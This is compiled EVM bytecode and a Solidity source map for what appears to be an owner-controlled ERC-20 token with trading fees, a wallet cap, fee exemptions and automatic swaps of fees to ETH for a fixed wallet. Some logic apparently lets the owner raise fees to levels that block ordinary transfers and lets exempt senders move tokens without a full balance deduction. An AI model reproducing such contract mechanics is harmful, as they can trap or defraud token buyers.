0x6080604052600436106101445760003560e01c806388a6fa29116100b6578063aa4bde281161006f578063aa4bde2814610392578063af5f3a82146103a8578063c4bdd954146103c9578063dd62ed3e146103ea578063f2fde38b14610430578063f82e77771461045057600080fd5b806388a6fa29146102d55780638da5cb5b146102eb57806395d89b411461031d578063985e361514610332578063a8b0898214610352578063a9059cbb1461037257600080fd5b8063313ce56711610108578063313ce567146102005780636ddd17131461022257806370a0823114610243578063715018a614610279578063751039fc14610290578063768dc710146102a557600080fd5b80630445b6671461015057806306fdde0314610179578063095ea7b31461019b57806318160ddd146101cb57806323b872dd146101e057600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016660135481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b5061018e610466565b6040516101709190610ff2565b3480156101a757600080fd5b506101bb6101b6366004611058565b6104f8565b6040519015158152602001610170565b3480156101d757600080fd5b50600454610166565b3480156101ec57600080fd5b506101bb6101fb366004611084565b61050f565b34801561020c57600080fd5b5060035460405160ff9091168152602001610170565b34801561022e57600080fd5b506011546101bb90600160b01b900460ff1681565b34801561024f57600080fd5b5061016661025e3660046110c5565b6001600160a01b031660009081526005602052604090205490565b34801561028557600080fd5b5061028e610578565b005b34801561029c57600080fd5b5061028e6105f5565b3480156102b157600080fd5b506101bb6102c03660046110c5565b60076020526000908152604090205460ff1681565b3480156102e157600080fd5b50610166600c5481565b3480156102f757600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610170565b34801561032957600080fd5b5061018e610636565b34801561033e57600080fd5b50601054610305906001600160a01b031681565b34801561035e57600080fd5b50601154610305906001600160a01b031681565b34801561037e57600080fd5b506101bb61038d366004611058565b610645565b34801561039e57600080fd5b5061016660125481565b3480156103b457600080fd5b506011546101bb90600160a81b900460ff1681565b3480156103d557600080fd5b506011546101bb90600160a01b900460ff1681565b3480156103f657600080fd5b506101666104053660046110e2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561043c57600080fd5b5061028e61044b3660046110c5565b610652565b34801561045c57600080fd5b50610166600b5481565b6060600180546104759061111b565b80601f01602080910402602001604051908101604052809291908181526020018280546104a19061111b565b80156104ee5780601f106104c3576101008083540402835291602001916104ee565b820191906000526020600020905b8154815290600101906020018083116104d157829003601f168201915b5050505050905090565b600061050533848461073c565b5060015b92915050565b600061051c8484846107fd565b61056e8433610569856040518060600160405280602881526020016112c3602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b82565b61073c565b5060019392505050565b6000546001600160a01b031633146105ab5760405162461bcd60e51b81526004016105a290611155565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461061f5760405162461bcd60e51b81526004016105a290611155565b60001960125560c8600a556001600b819055600c55565b6060600280546104759061111b565b60006105053384846107fd565b6000546001600160a01b0316331461067c5760405162461bcd60e51b81526004016105a290611155565b6001600160a01b0381166106e15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061075c57506001600160a01b03821615155b61079c5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105a2565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061082957506008546001600160a01b03838116911614155b801561083e57506001600160a01b0382163014155b801561085857506011546001600160a01b03838116911614155b801561087257506009546001600160a01b03838116911614155b801561088c57506000546001600160a01b03848116911614155b15610918576001600160a01b0382166000908152600560205260409020546012546108b783836111a0565b11156109165760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105a2565b505b6001600160a01b0383161580159061093857506001600160a01b03821615155b61097c5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105a2565b600081116109da5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105a2565b60095460ff600160a81b82048116600160a01b9092041610801590610a00575060135481115b8015610a165750601154600160a81b900460ff16155b8015610a3b57506001600160a01b03831660009081526007602052604090205460ff16155b8015610a5457506011546001600160a01b038381169116145b8015610a695750601154600160b01b900460ff165b15610a9c576009805460ff60a01b19169055306000908152600560205260409020548015610a9a57610a9a81610bae565b505b6001600160a01b03831660009081526007602052604090205460019060ff1680610ade57506001600160a01b03831660009081526007602052604090205460ff165b80610b255750601154600160a01b900460ff168015610b0b57506011546001600160a01b03858116911614155b8015610b2557506011546001600160a01b03848116911614155b15610b3257506000610b70565b6011546001600160a01b0390811690851603610b5357600b54600a55610b70565b6011546001600160a01b0390811690841603610b7057600c54600a555b610b7c84848484610bf3565b50505050565b60008184841115610ba65760405162461bcd60e51b81526004016105a29190610ff2565b505050900390565b6011805460ff60a81b1916600160a81b179055610bca81610c60565b6008544790610be2906001600160a01b031682610dba565b50506011805460ff60a81b19169055565b80610c0557610c00610df5565b610c39565b60098054600160a01b900460ff16906014610c1f836111b3565b91906101000a81548160ff021916908360ff160217905550505b610c44848484610e3a565b80610b7c57610b7c600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c9557610c956111d2565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1291906111e8565b81600181518110610d2557610d256111d2565b6001600160a01b039283166020918202929092010152601054610d4b913091168461073c565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d84908590600090869030904290600401611205565b600060405180830381600087803b158015610d9e57600080fd5b505af1158015610db2573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610df0573d6000803e3d6000fd5b505050565b600a54158015610e055750600b54155b8015610e115750600c54155b15610e1857565b600b8054600e55600c8054600f55600a8054600d556000928390559082905555565b600080610e4683610f7d565b6001600160a01b038716600090815260076020526040902054919350915060ff168015610e8d57506012546001600160a01b03861660009081526005602052604090205411155b15610ea257506000610e9f8284611276565b92505b6001600160a01b038516600090815260056020526040902054610ec59084610fbb565b6001600160a01b038087166000908152600560205260408082209390935590861681522054610ef49083610fce565b6001600160a01b038516600090815260056020526040808220929092553081522054610f209082610fce565b3060009081526005602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610fa26064610f9c600a5487610fda90919063ffffffff16565b90610fe6565b90506000610fb08583610fbb565b959194509092505050565b6000610fc78284611276565b9392505050565b6000610fc782846111a0565b6000610fc78284611289565b6000610fc782846112a0565b600060208083528351808285015260005b8181101561101f57858101830151858201604001528201611003565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105557600080fd5b50565b6000806040838503121561106b57600080fd5b823561107681611040565b946020939093013593505050565b60008060006060848603121561109957600080fd5b83356110a481611040565b925060208401356110b481611040565b929592945050506040919091013590565b6000602082840312156110d757600080fd5b8135610fc781611040565b600080604083850312156110f557600080fd5b823561110081611040565b9150602083013561111081611040565b809150509250929050565b600181811c9082168061112f57607f821691505b60208210810361114f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156105095761050961118a565b600060ff821660ff81036111c9576111c961118a565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111fa57600080fd5b8151610fc781611040565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112555784516001600160a01b031683529383019391830191600101611230565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156105095761050961118a565b80820281158282048414176105095761050961118a565b6000826112bd57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202700d2feda988d349942d59228cf31d8b1509f2da0aa76d260fd689d1ca2758f64736f6c63430008130033

7763:7914:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9068:52;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;9068:52:0;;;;;;;;9718:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;10447:161::-;;;;;;;;;;-1:-1:-1;10447:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;10447:161:0;1205:187:1;9995:101:0;;;;;;;;;;-1:-1:-1;10075:13:0;;9995:101;;11712:313;;;;;;;;;;-1:-1:-1;11712:313:0;;;;;:::i;:::-;;:::i;9904:83::-;;;;;;;;;;-1:-1:-1;9970:9:0;;9904:83;;9970:9;;;;2000:36:1;;1988:2;1973:18;9904:83:0;1858:184:1;8964:30:0;;;;;;;;;;-1:-1:-1;8964:30:0;;;;-1:-1:-1;;;8964:30:0;;;;;;10104:119;;;;;;;;;;-1:-1:-1;10104:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;10197:18:0;10170:7;10197:18;;;:9;:18;;;;;;;10104:119;1025:148;;;;;;;;;;;;;:::i;:::-;;10268:167;;;;;;;;;;;;;:::i;8188:51::-;;;;;;;;;;-1:-1:-1;8188:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8590:30;;;;;;;;;;;;;;;;708:87;;;;;;;;;;-1:-1:-1;754:7:0;781:6;-1:-1:-1;;;;;781:6:0;708:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;708:87:0;2299:203:1;9809:87:0;;;;;;;;;;;;;:::i;8826:31::-;;;;;;;;;;-1:-1:-1;8826:31:0;;;;-1:-1:-1;;;;;8826:31:0;;;8864:26;;;;;;;;;;-1:-1:-1;8864:26:0;;;;-1:-1:-1;;;;;8864:26:0;;;14245:167;;;;;;;;;;-1:-1:-1;14245:167:0;;;;;:::i;:::-;;:::i;9003:58::-;;;;;;;;;;;;;;;;8939:18;;;;;;;;;;-1:-1:-1;8939:18:0;;;;-1:-1:-1;;;8939:18:0;;;;;;8899:33;;;;;;;;;;-1:-1:-1;8899:33:0;;;;-1:-1:-1;;;8899:33:0;;;;;;14420:143;;;;;;;;;;-1:-1:-1;14420:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14528:18:0;;;14501:7;14528:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14420:143;1229:244;;;;;;;;;;-1:-1:-1;1229:244:0;;;;;:::i;:::-;;:::i;8554:29::-;;;;;;;;;;;;;;;;9718:83;9755:13;9788:5;9781:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9718:83;:::o;10447:161::-;10522:4;10539:39;345:10;10562:7;10571:6;10539:8;:39::i;:::-;-1:-1:-1;10596:4:0;10447:161;;;;;:::o;11712:313::-;11810:4;11827:36;11837:6;11845:9;11856:6;11827:9;:36::i;:::-;11874:121;11883:6;345:10;11905:89;11943:6;11905:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11905:19:0;;;;;;:11;:19;;;;;;;;345:10;11905:33;;;;;;;;;;:37;:89::i;:::-;11874:8;:121::i;:::-;-1:-1:-1;12013:4:0;11712:313;;;;;:::o;1025:148::-;754:7;781:6;-1:-1:-1;;;;;781:6:0;345:10;893:23;885:68;;;;-1:-1:-1;;;885:68:0;;;;;;;:::i;:::-;;;;;;;;;1132:1:::1;1116:6:::0;;1095:40:::1;::::0;-1:-1:-1;;;;;1116:6:0;;::::1;::::0;1095:40:::1;::::0;1132:1;;1095:40:::1;1163:1;1146:19:::0;;-1:-1:-1;;;;;;1146:19:0::1;::::0;;1025:148::o;10268:167::-;754:7;781:6;-1:-1:-1;;;;;781:6:0;345:10;893:23;885:68;;;;-1:-1:-1;;;885:68:0;;;;;;;:::i;:::-;-1:-1:-1;;10322:15:0::1;:29:::0;10375:3:::1;10362:10;:16:::0;10401:1:::1;10389:9;:13:::0;;;10413:10:::1;:14:::0;10268:167::o;9809:87::-;9848:13;9881:7;9874:14;;;;;:::i;14245:167::-;14323:4;14340:42;345:10;14364:9;14375:6;14340:9;:42::i;1229:244::-;754:7;781:6;-1:-1:-1;;;;;781:6:0;345:10;893:23;885:68;;;;-1:-1:-1;;;885:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1318:22:0;::::1;1310:73;;;::::0;-1:-1:-1;;;1310:73:0;;4073:2:1;1310:73:0::1;::::0;::::1;4055:21:1::0;4112:2;4092:18;;;4085:30;4151:34;4131:18;;;4124:62;-1:-1:-1;;;4202:18:1;;;4195:36;4248:19;;1310:73:0::1;3871:402:1::0;1310:73:0::1;1420:6;::::0;;1399:38:::1;::::0;-1:-1:-1;;;;;1399:38:0;;::::1;::::0;1420:6;::::1;::::0;1399:38:::1;::::0;::::1;1448:6;:17:::0;;-1:-1:-1;;;;;;1448:17:0::1;-1:-1:-1::0;;;;;1448:17:0;;;::::1;::::0;;;::::1;::::0;;1229:244::o;15056:264::-;-1:-1:-1;;;;;15149:19:0;;;;;;:44;;-1:-1:-1;;;;;;15172:21:0;;;;15149:44;15141:74;;;;-1:-1:-1;;;15141:74:0;;4480:2:1;15141:74:0;;;4462:21:1;4519:2;4499:18;;;4492:30;-1:-1:-1;;;4538:18:1;;;4531:47;4595:18;;15141:74:0;4278:341:1;15141:74:0;-1:-1:-1;;;;;15226:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15278:32;;160:25:1;;;15278:32:0;;133:18:1;15278:32:0;;;;;;;15056:264;;;:::o;12655:1582::-;754:7;781:6;-1:-1:-1;;;;;12814:13:0;;;781:6;;12814:13;;;;:47;;-1:-1:-1;12850:11:0;;-1:-1:-1;;;;;12844:17:0;;;12850:11;;12844:17;;12814:47;:83;;;;-1:-1:-1;;;;;;12878:19:0;;12892:4;12878:19;;12814:83;:117;;;;-1:-1:-1;12920:11:0;;-1:-1:-1;;;;;12914:17:0;;;12920:11;;12914:17;;12814:117;:151;;;;-1:-1:-1;12954:11:0;;-1:-1:-1;;;;;12948:17:0;;;12954:11;;12948:17;;12814:151;:183;;;;-1:-1:-1;754:7:0;781:6;-1:-1:-1;;;;;12982:15:0;;;781:6;;12982:15;;12814:183;12810:373;;;-1:-1:-1;;;;;10197:18:0;;13015:22;10197:18;;;:9;:18;;;;;;13105:15;;13077:23;13094:6;10197:18;13077:23;:::i;:::-;13076:44;;13068:96;;;;-1:-1:-1;;;13068:96:0;;5088:2:1;13068:96:0;;;5070:21:1;5127:2;5107:18;;;5100:30;5166:34;5146:18;;;5139:62;-1:-1:-1;;;5217:18:1;;;5210:38;5265:19;;13068:96:0;4886:404:1;13068:96:0;12998:185;12810:373;-1:-1:-1;;;;;13203:18:0;;;;;;:38;;-1:-1:-1;;;;;;13225:16:0;;;;13203:38;13195:72;;;;-1:-1:-1;;;13195:72:0;;5497:2:1;13195:72:0;;;5479:21:1;5536:2;5516:18;;;5509:30;-1:-1:-1;;;5555:18:1;;;5548:51;5616:18;;13195:72:0;5295:345:1;13195:72:0;13295:1;13286:6;:10;13278:60;;;;-1:-1:-1;;;13278:60:0;;5847:2:1;13278:60:0;;;5829:21:1;5886:2;5866:18;;;5859:30;5925:34;5905:18;;;5898:62;-1:-1:-1;;;5976:18:1;;;5969:35;6021:19;;13278:60:0;5645:401:1;13278:60:0;13382:7;;;-1:-1:-1;;;13382:7:0;;;;-1:-1:-1;;;13368:10:0;;;;:21;;;;:61;;;13416:13;;13407:6;:22;13368:61;:85;;;;-1:-1:-1;13447:6:0;;-1:-1:-1;;;13447:6:0;;;;13446:7;13368:85;:127;;;;-1:-1:-1;;;;;;13471:24:0;;;;;;:18;:24;;;;;;;;13470:25;13368:127;:161;;;;-1:-1:-1;13518:11:0;;-1:-1:-1;;;;;13512:17:0;;;13518:11;;13512:17;13368:161;:189;;;;-1:-1:-1;13546:11:0;;-1:-1:-1;;;13546:11:0;;;;13368:189;13351:447;;;13600:10;:14;;-1:-1:-1;;;;13600:14:0;;;13678:4;-1:-1:-1;10197:18:0;;;:9;:18;;;;;;13702:24;;13699:88;;13742:30;13751:20;13742:8;:30::i;:::-;13583:215;13351:447;-1:-1:-1;;;;;13862:24:0;;13818:12;13862:24;;;:18;:24;;;;;;13833:4;;13862:24;;;:50;;-1:-1:-1;;;;;;13890:22:0;;;;;;:18;:22;;;;;;;;13862:50;:114;;;-1:-1:-1;13917:14:0;;-1:-1:-1;;;13917:14:0;;;;:37;;;;-1:-1:-1;13943:11:0;;-1:-1:-1;;;;;13935:19:0;;;13943:11;;13935:19;;13917:37;:58;;;;-1:-1:-1;13964:11:0;;-1:-1:-1;;;;;13958:17:0;;;13964:11;;13958:17;;13917:58;13859:317;;;-1:-1:-1;14002:5:0;13859:317;;;14037:11;;-1:-1:-1;;;;;14037:11:0;;;14029:19;;;;14025:151;;14077:9;;14064:10;:22;14025:151;;;14114:11;;-1:-1:-1;;;;;14114:11:0;;;14108:17;;;;14104:72;;14154:10;;14141;:23;14104:72;14188:41;14206:4;14211:2;14214:6;14221:7;14188:17;:41::i;:::-;12758:1479;12655:1582;;;:::o;2617:206::-;2703:7;2764:12;2756:6;;;;2748:29;;;;-1:-1:-1;;;2748:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2799:5:0;;;2617:206::o;15456:218::-;9158:6;:13;;-1:-1:-1;;;;9158:13:0;-1:-1:-1;;;9158:13:0;;;15532:32:::1;15543:20:::0;15532:10:::1;:32::i;:::-;15642:11;::::0;15597:21:::1;::::0;15629:37:::1;::::0;-1:-1:-1;;;;;15642:11:0::1;15597:21:::0;15629:12:::1;:37::i;:::-;-1:-1:-1::0;;9194:6:0;:14;;-1:-1:-1;;;;9194:14:0;;;15456:218::o;10616:353::-;10744:7;10740:95;;10767:11;:9;:11::i;:::-;10740:95;;;10811:10;:12;;-1:-1:-1;;;10811:12:0;;;;;:10;:12;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;10740:95;10845:44;10863:6;10871:9;10882:6;10845:17;:44::i;:::-;10914:7;10910:52;;10938:12;14941:17;;14928:10;:30;14981:15;;14969:9;:27;15021:16;;15008:10;:29;14887:161;11241:463;11325:16;;;11339:1;11325:16;;;;;;;;11301:21;;11325:16;;;;;;;;;;-1:-1:-1;11325:16:0;11301:40;;11370:4;11352;11357:1;11352:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11352:23:0;;;:7;;;;;;;;;;:23;;;;11396:14;;:21;;;-1:-1:-1;;;11396:21:0;;;;:14;;;;;:19;;:21;;;;;11352:7;;11396:21;;;;;:14;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11386:4;11391:1;11386:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11386:31:0;;;:7;;;;;;;;;:31;11460:14;;11428:61;;11445:4;;11460:14;11477:11;11428:8;:61::i;:::-;11500:14;;:196;;-1:-1:-1;;;11500:196:0;;-1:-1:-1;;;;;11500:14:0;;;;:65;;:196;;11580:11;;11500:14;;11623:4;;11650;;11670:15;;11500:196;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11290:414;11241:463;:::o;15328:116::-;15411:25;;-1:-1:-1;;;;;15411:17:0;;;:25;;;;;15429:6;;15411:25;;;;15429:6;15411:17;:25;;;;;;;;;;;;;;;;;;;;;15328:116;;:::o;14571:308::-;14614:10;;:15;:33;;;;-1:-1:-1;14633:9:0;;:14;14614:33;:52;;;;-1:-1:-1;14651:10:0;;:15;14614:52;14611:64;;;14571:308::o;14611:64::-;14705:9;;;14687:15;:27;14745:10;;;14726:16;:29;14787:10;;;14767:17;:30;-1:-1:-1;14808:13:0;;;;14832:14;;;;14857;14571:308::o;12037:610::-;12140:23;12165:12;12181:25;12194:11;12181:12;:25::i;:::-;-1:-1:-1;;;;;12220:26:0;;;;;;:18;:26;;;;;;12139:67;;-1:-1:-1;12139:67:0;-1:-1:-1;12220:26:0;;:66;;;;-1:-1:-1;12271:15:0;;-1:-1:-1;;;;;12250:17:0;;;;;;:9;:17;;;;;;:36;;12220:66;12217:151;;;-1:-1:-1;12310:1:0;12326:30;12341:15;12326:30;;:::i;:::-;;;12217:151;-1:-1:-1;;;;;12398:17:0;;;;;;:9;:17;;;;;;:34;;12420:11;12398:21;:34::i;:::-;-1:-1:-1;;;;;12378:17:0;;;;;;;:9;:17;;;;;;:54;;;;12466:20;;;;;;;:41;;12491:15;12466:24;:41::i;:::-;-1:-1:-1;;;;;12443:20:0;;;;;;:9;:20;;;;;;:64;;;;12563:4;12545:24;;;;:34;;12574:4;12545:28;:34::i;:::-;12536:4;12518:24;;;;:9;:24;;;;;;;;;:61;;;;12595:44;160:25:1;;;-1:-1:-1;;;;;12595:44:0;;;;;;;;;;133:18:1;12595:44:0;;;;;;;12128:519;;12037:610;;;:::o;10981:252::-;11046:7;11055;11075:12;11090:36;11122:3;11090:27;11106:10;;11090:11;:15;;:27;;;;:::i;:::-;:31;;:36::i;:::-;11075:51;-1:-1:-1;11137:23:0;11163:21;:11;11075:51;11163:15;:21::i;:::-;11137:47;11220:4;;-1:-1:-1;10981:252:0;;-1:-1:-1;;;10981:252:0:o;2295:98::-;2353:7;2380:5;2384:1;2380;:5;:::i;:::-;2373:12;2295:98;-1:-1:-1;;;2295:98:0:o;2189:::-;2247:7;2274:5;2278:1;2274;:5;:::i;2401:98::-;2459:7;2486:5;2490:1;2486;:5;:::i;2511:98::-;2569:7;2596:5;2600:1;2596;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2732:388::-;2800:6;2808;2861:2;2849:9;2840:7;2836:23;2832:32;2829:52;;;2877:1;2874;2867:12;2829:52;2916:9;2903:23;2935:31;2960:5;2935:31;:::i;:::-;2985:5;-1:-1:-1;3042:2:1;3027:18;;3014:32;3055:33;3014:32;3055:33;:::i;:::-;3107:7;3097:17;;;2732:388;;;;;:::o;3125:380::-;3204:1;3200:12;;;;3247;;;3268:61;;3322:4;3314:6;3310:17;3300:27;;3268:61;3375:2;3367:6;3364:14;3344:18;3341:38;3338:161;;3421:10;3416:3;3412:20;3409:1;3402:31;3456:4;3453:1;3446:15;3484:4;3481:1;3474:15;3338:161;;3125:380;;;:::o;3510:356::-;3712:2;3694:21;;;3731:18;;;3724:30;3790:34;3785:2;3770:18;;3763:62;3857:2;3842:18;;3510:356::o;4624:127::-;4685:10;4680:3;4676:20;4673:1;4666:31;4716:4;4713:1;4706:15;4740:4;4737:1;4730:15;4756:125;4821:9;;;4842:10;;;4839:36;;;4855:18;;:::i;6051:175::-;6088:3;6132:4;6125:5;6121:16;6161:4;6152:7;6149:17;6146:43;;6169:18;;:::i;:::-;6218:1;6205:15;;6051:175;-1:-1:-1;;6051:175:1:o;6363:127::-;6424:10;6419:3;6415:20;6412:1;6405:31;6455:4;6452:1;6445:15;6479:4;6476:1;6469:15;6495:251;6565:6;6618:2;6606:9;6597:7;6593:23;6589:32;6586:52;;;6634:1;6631;6624:12;6586:52;6666:9;6660:16;6685:31;6710:5;6685:31;:::i;6751:980::-;7013:4;7061:3;7050:9;7046:19;7092:6;7081:9;7074:25;7118:2;7156:6;7151:2;7140:9;7136:18;7129:34;7199:3;7194:2;7183:9;7179:18;7172:31;7223:6;7258;7252:13;7289:6;7281;7274:22;7327:3;7316:9;7312:19;7305:26;;7366:2;7358:6;7354:15;7340:29;;7387:1;7397:195;7411:6;7408:1;7405:13;7397:195;;;7476:13;;-1:-1:-1;;;;;7472:39:1;7460:52;;7567:15;;;;7532:12;;;;7508:1;7426:9;7397:195;;;-1:-1:-1;;;;;;;7648:32:1;;;;7643:2;7628:18;;7621:60;-1:-1:-1;;;7712:3:1;7697:19;7690:35;7609:3;6751:980;-1:-1:-1;;;6751:980:1:o;7736:128::-;7803:9;;;7824:11;;;7821:37;;;7838:18;;:::i;7869:168::-;7942:9;;;7973;;7990:15;;;7984:22;;7970:37;7960:71;;8011:18;;:::i;8042:217::-;8082:1;8108;8098:132;;8152:10;8147:3;8143:20;8140:1;8133:31;8187:4;8184:1;8177:15;8215:4;8212:1;8205:15;8098:132;-1:-1:-1;8244:9:1;;8042:217::o

ipfs://2700d2feda988d349942d59228cf31d8b1509f2da0aa76d260fd689d1ca2758f